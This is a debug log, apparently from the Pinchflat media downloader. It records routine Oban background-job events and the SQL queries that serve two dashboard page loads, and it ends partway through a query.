{"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:55.256 [info] GET / 10:08:55.256 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 10:08:55.257 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=525.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:55.258 [debug] QUERY OK source="media_profiles" db=0.2ms idle=525.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 10:08:55.258 [debug] QUERY OK source="sources" db=0.2ms idle=526.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 10:08:55.259 [debug] QUERY OK source="media_items" db=0.2ms idle=526.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:08:55.259 [debug] QUERY OK source="media_items" db=0.1ms idle=48.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:08:55.260 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:55.260 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:55.261 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:55.263 [debug] QUERY OK source="tasks" db=0.6ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 10:08:55.264 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 10:08:55.266 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:08:55.267 [debug] QUERY OK source="media_items" db=0.7ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:08:55.268 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 10:08:55.270 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 10:08:55.271 [debug] QUERY OK source="media_items" db=0.7ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:08:55.272 [debug] QUERY OK source="sources" db=0.3ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 10:08:55.273 [info] Sent 200 in 17ms 10:09:00.976 [info] {"source":"oban","duration":196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:19.383 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:49.384 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.977 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:19.386 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:49.387 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.978 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:19.388 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:49.389 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.980 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:19.390 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:49.391 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.980 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:19.392 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:49.393 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.981 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:19.395 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:49.397 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.983 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:19.398 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:49.401 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.983 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:19.403 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:49.405 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.985 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:19.407 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:49.409 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.985 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:19.410 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:49.412 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.987 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:19.415 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:49.417 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.987 [info] {"source":"oban","duration":181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:19.418 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:49.421 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.989 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:19.422 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:49.424 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.990 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:19.426 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:49.427 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.991 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:19.430 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:49.432 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.992 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:19.433 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:49.435 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.993 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:19.438 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:49.440 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.994 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:19.441 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:49.444 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.995 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:19.446 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:49.448 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.995 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:19.450 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:49.452 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.996 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:19.454 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:49.456 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.997 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:19.459 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:49.461 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.999 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:19.463 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:49.465 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:01.000 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:19.467 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:49.469 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.001 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:19.471 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:49.473 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.002 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:19.475 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:49.477 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.002 [info] {"source":"oban","duration":138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:19.479 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:49.481 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.003 [info] {"source":"oban","duration":165,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:19.483 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:49.485 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.005 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:19.486 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:49.488 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.005 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:19.490 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:49.492 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.007 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:19.494 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:49.496 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.008 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:19.499 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:49.501 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.009 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:19.503 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:49.505 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.010 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:19.506 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:49.509 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.011 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:19.511 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:49.513 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.011 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:19.515 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:49.517 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.012 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:19.519 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:49.521 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.013 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:19.522 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:49.523 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.015 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:19.525 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:49.527 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.016 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:19.529 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:24.572 [info] GET / 10:48:24.573 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 10:48:24.573 [debug] QUERY OK source="settings" db=0.3ms idle=1839.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:24.574 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1839.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 10:48:24.574 [debug] QUERY OK source="sources" db=0.1ms idle=1840.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 10:48:24.575 [debug] QUERY OK source="media_items" db=0.3ms idle=1278.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:48:24.575 [debug] QUERY OK source="media_items" db=0.1ms idle=277.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:48:24.576 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:24.576 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:24.577 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:24.577 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 10:48:24.578 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 10:48:24.578 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:48:24.579 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:48:24.579 [debug] QUERY OK source="sources" db=0.2ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 